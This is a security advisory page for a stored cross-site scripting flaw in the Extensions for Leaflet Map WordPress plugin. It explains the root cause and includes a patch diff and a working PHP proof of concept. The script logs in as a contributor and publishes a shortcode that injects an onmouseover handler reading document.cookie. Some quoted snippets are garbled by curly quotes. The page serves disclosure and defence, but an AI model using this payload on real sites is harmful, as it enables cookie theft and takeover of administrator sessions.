Published : November 26, 2026

CVE-2026-135618: Extensions for Leaflet Map <= 6.2.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'extraclasses' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.2.1
Patched Version 6.3
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-135618: The Extensions for Leaflet Map plugin (versions up to and including 6.2.1) contains an authenticated (Contributor+) stored Cross-Site Scripting (XSS) vulnerability. The flaw resides in the shortcode attribute handling of the ‘extraclasses’ parameter (and related attributes ‘icon’, ‘iconcolor’, ‘number’) within the plugin’s extramarker functionality. An attacker with contributor-level access can inject arbitrary JavaScript that executes when any user, including administrators, views the compromised page. The CVSS score is 6.4 (Medium), reflecting the need for authentication but significant impact due to stored XSS.

Root Cause: The root cause is insufficient output escaping in the JavaScript generation logic. In `extensions-leaflet-map/php/extramarker.php`, the function that builds the JavaScript configuration (likely `leafext_extramarker_script` or similar) processes shortcode attributes. The vulnerable code at lines around 236-252 iterates over attributes, applies a filter, and appends `$k: $value,` to a JavaScript string. For the ‘extraclasses’ attribute, the default filter was empty (`”`), and the value was encoded via `wp_json_encode($v)`. While `wp_json_encode` escapes double quotes for the JavaScript string literal context, the resulting string is later inserted into the HTML of the marker icon by the Leaflet.ExtraMarkers library. When the shortcode attribute value contains a single quote, it can break out of the shortcode’s single-quoted attribute, and then the double quotes from the JSON-encoded value remain live in the HTML attribute context, allowing injection of event handlers. The patch adds a whitelist validation (`preg_match(‘%^[a-zA-Z0-9:-/._ ]+$%’, $v)`) for these attributes and removes the unsafe ‘latlon’ case, preventing malicious characters.

Exploitation: An attacker with Contributor+ privileges creates a new post or page and inserts a shortcode such as `[leaflet-extramarker extraclasses='” onmouseover=”alert(1)’]` (or similar, using a single quote to close the attribute and then injecting an event handler). The shortcode is processed, and the malicious value is stored in the post content. When a victim views the page, the plugin outputs JavaScript that Leaflet.ExtraMarkers uses to build the marker’s HTML. The double quote from the JSON-encoded value, combined with the single quote breaking out of the shortcode attribute, results in the injection of an `onmouseover` attribute (or other event handler) that executes the attacker’s script in the victim’s browser. The attack is stored, affecting all viewers of the page.

Patch Analysis: The patch (version 6.3) introduces several changes. In `extramarker.php`, the `filter` for ‘extraclasses’ (and likely ‘icon’, ‘iconcolor’, ‘number’) is changed from `”` to `’color’`. The filter logic now uses `leafext_valid_color($v)` to validate the value, ensuring it matches a color pattern. Additionally, the default case now applies a whitelist regex `preg_match(‘%^[a-zA-Z0-9:-/._ ]+$%’, $v)` before adding the value to the JavaScript. The ‘latlon’ case is removed. These changes prevent the inclusion of characters like quotes, parentheses, and angle brackets that are necessary for XSS. The patch also adds `wp_kses_post` to the table output in `functions.php` and sanitizes lat/lng values in `overview-map.php` using `filter_var` with `FILTER_VALIDATE_FLOAT`, but the primary XSS fix is the attribute validation in `extramarker.php`.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of authentication cookies, redirection to malicious sites, defacement, or other client-side attacks. Because the attacker only needs Contributor-level access, a low-privileged user can escalate to compromise administrative sessions. The stored nature means the payload executes for any user visiting the affected page, including administrators, potentially leading to full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/extensions-leaflet-map/extensions-leaflet-map.php
+++ b/extensions-leaflet-map/extensions-leaflet-map.php
@@ -3,9 +3,8 @@
  * Plugin Name:       Extensions for Leaflet Map
  * Description:       Extends the WordPress Plugin <a href="https://wordpress.org/plugins/leaflet-map/">Leaflet Map</a> with Leaflet Plugins and other functions.
  * Plugin URI:        https://leafext.de/en/
- * Version:           6.2.1
+ * Version:           6.3
  * Requires PHP:      8.2
- * Requires Plugins:  leaflet-map
  * Author:            hupe13
  * Author URI:        https://leafext.de/en/
  * License:           GPL v2 or later
--- a/extensions-leaflet-map/php/extramarker.php
+++ b/extensions-leaflet-map/php/extramarker.php
@@ -51,7 +51,7 @@
 				'extensions-leaflet-map'
 			),
 			'default' => 'white',
-			'filter'  => '',
+			'filter'  => 'color',
 		),
 		// iconRotate   Rotates the icon with css transformations   0   numeric degrees
 		array(
@@ -82,7 +82,7 @@
 				'extensions-leaflet-map'
 			),
 			'default' => 'red',
-			'filter'  => '',
+			'filter'  => 'color',
 		),
 		// number   Instead of an icon, define a plain text     ''  '1' or 'A', must set icon: 'fa-number'
 		array(
@@ -197,7 +197,7 @@
 		// var_dump( $marker_shortcode );

 		$text    = JShrinkMinifier::minify( $text );
-		$atts1   = leafext_case( array_keys( leafext_extramarker_defaults() ), leafext_clear_params( $atts ) );
+		$atts1   = leafext_case( array_keys( leafext_extramarker_defaults() ), leafext_clear_params_true_false( $atts ) );
 		$options = shortcode_atts( leafext_extramarker_defaults(), $atts1 );

 		// var_dump($options);//wp_die();
@@ -236,22 +236,28 @@
 		if ( $v === '' ) {
 			continue;
 		}
-		$text .= "$k: ";
 		switch ( $filters[ $k ] ) {
 			case 'FILTER_VALIDATE_BOOL':
 				$value = filter_var( $v, FILTER_VALIDATE_BOOL ) ? 'true' : 'false';
+				$text .= "$k: " . $value . ",n";
 				break;
 			case 'FILTER_SANITIZE_NUMBER_INT':
 				$value = filter_var( $v, FILTER_SANITIZE_NUMBER_INT );
+				$text .= "$k: " . $value . ",n";
 				break;
-			case 'latlon':
-				$value = '[' . $v . ']';
+			// case 'latlon':
+				// $text .= "$k: " . '[' . $v . ']' . ",n";
+				// break;
+			case 'color':
+				if ( leafext_valid_color( $v ) !== '' ) {
+					$text .= "$k: " . wp_json_encode( $v ) . ",n";
+				}
 				break;
 			default:
-				$value = wp_json_encode( $v );
+				if ( preg_match( '%^[a-zA-Z0-9:-/._ ]+$%', $v ) ) {
+					$text .= "$k: " . wp_json_encode( $v ) . ",n";
+				}
 		}
-		$text .= $value;
-		$text .= ",n";
 	}
 	// var_dump($text); wp_die();
 	return $text;
--- a/extensions-leaflet-map/php/functions.php
+++ b/extensions-leaflet-map/php/functions.php
@@ -149,7 +149,7 @@
 		}
 		$head = '<div style="width:' . ( ( is_singular() || is_archive() ) ? '100' : '80' ) . '%;">';
 		$head = $head . '<figure class="wp-block-table aligncenter is-style-stripes"><table border=1>';
-		return $head . implode( '', $rows ) . '</table></figure></div>';
+		return $head . wp_kses_post( implode( '', $rows ) ) . '</table></figure></div>';
 	}
 }

--- a/extensions-leaflet-map/php/listmarker.php
+++ b/extensions-leaflet-map/php/listmarker.php
@@ -109,11 +109,11 @@
 		foreach ( $params as $param ) {
 			$defaults[ $param['param'] ] = $param['default'];
 		}
-		$atts1                 = leafext_case( array_keys( $defaults ), leafext_clear_params( $atts ) );
-		$options               = shortcode_atts( $defaults, $atts1 );
-		$options['collapse']   = filter_var( $options['collapse'], FILTER_VALIDATE_BOOL );
-		$options['update']     = filter_var( $options['update'], FILTER_VALIDATE_BOOL );
-		$options['hover']      = filter_var( $options['hover'], FILTER_VALIDATE_BOOL );
+		$atts1               = leafext_case( array_keys( $defaults ), leafext_clear_params( $atts ) );
+		$options             = shortcode_atts( $defaults, $atts1 );
+		$options['collapse'] = filter_var( $options['collapse'], FILTER_VALIDATE_BOOL );
+		$options['update']   = filter_var( $options['update'], FILTER_VALIDATE_BOOL );
+		$options['hover']    = filter_var( $options['hover'], FILTER_VALIDATE_BOOL );
 		if ( leafext_valid_color( $options['background'] ) !== '' && $options['background'] !== $defaults['background'] ) {
 			$text .= '<style>ul.list-markers-ul {background-color: ' . $options['background'] . '}</style>';
 		}
--- a/extensions-leaflet-map/php/multielevation.php
+++ b/extensions-leaflet-map/php/multielevation.php
@@ -365,6 +365,9 @@
 			$multioptions['distanceMarkers']         = false;
 			$multioptions['distanceMarkers_options'] = 'false';
 			$multioptions['sort']                    = false;
+			$multioptions['highlight']               = '#ffff00';
+			$multioptions['flyToBounds']             = true;
+			$multioptions['direction']               = false;
 		}

 		if ( $shortcode === 'multielevation' ) {
@@ -511,6 +514,7 @@
 				echo 'highlight: {color:' . wp_json_encode( $multioptions['highlight'] ) . ',opacity: 1,},' . "n";
 			}
 			echo 'flyToBounds:' . wp_json_encode( (bool) $multioptions['flyToBounds'] ) . ',' . "n";
+			echo 'filename:' . wp_json_encode( (bool) $multioptions['filename'] ) . ',' . "n";

 			// default:
 			// distanceMarkers: true,
--- a/extensions-leaflet-map/php/overview-map.php
+++ b/extensions-leaflet-map/php/overview-map.php
@@ -407,12 +407,20 @@
 			$latlng_atts = shortcode_parse_atts( $leaflet_latlng );
 			// var_dump($latlng_atts);
 			if ( isset( $latlng_atts['lat'] ) && isset( $latlng_atts['lng'] ) ) {
-				$leaflet_latlng = 'lat=' . trim( $latlng_atts['lat'], ', ' ) . ' lng=' . trim( $latlng_atts['lng'], ', ' );
+				$leaflet_latlng =
+				'lat=' . filter_var( str_replace( ',', '.', trim( $latlng_atts['lat'], ', ' ) ), FILTER_VALIDATE_FLOAT ) .
+				' lng=' . filter_var( str_replace( ',', '.', trim( $latlng_atts['lng'], ', ' ) ), FILTER_VALIDATE_FLOAT );
 			} else {
 				$leaflet_latlng = '*';
 			}
 		} else {
-			$leaflet_latlng = 'lat=' . trim( $latlng[0], ', ' ) . ' lng=' . trim( $latlng[1], ', ' );
+			// var_dump( $latlng );
+			$leaflet_latlng =
+			'lat=' . filter_var( str_replace( ',', '.', trim( $latlng[0], ', ' ) ), FILTER_VALIDATE_FLOAT ) .
+			' lng=' . filter_var( str_replace( ',', '.', trim( $latlng[1], ', ' ) ), FILTER_VALIDATE_FLOAT );
+		}
+		if ( $leaflet_latlng === 'lat= lng=' ) {
+			$leaflet_latlng = '*';
 		}
 	} else {
 		$leaflet_latlng = '*';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135618 - Extensions for Leaflet Map <= 6.2.1 - Authenticated (Contributor+) Stored XSS via 'extraclasses' Shortcode Attribute

$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check login success (simple check for dashboard)
if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Create a new post with the malicious shortcode
$post_content = "[leaflet-extramarker extraclasses='" onmouseover="alert(document.cookie)"']";
$post_data = [
    'post_title' => 'XSS PoC',
    'content' => $post_content,
    'post_status' => 'publish',
    'action' => 'editpost',
    'post_type' => 'post',
    'post_author' => '1' // Adjust as needed; contributor ID will be used automatically
];

// Get the nonce for creating a post (simplified: fetch from new post page)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$response = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Add nonce to post data
$post_data['_wpnonce'] = $nonce;
$post_data['_wp_http_referer'] = '/wp-admin/post-new.php';

// Submit the post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Extract post ID from response (if needed)
preg_match('/post=(d+)/', $response, $matches);
$post_id = $matches[1] ?? '';

echo "Post created with ID: $post_idn";
echo "Visit the post to trigger XSS: $target_url/?p=$post_idn";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.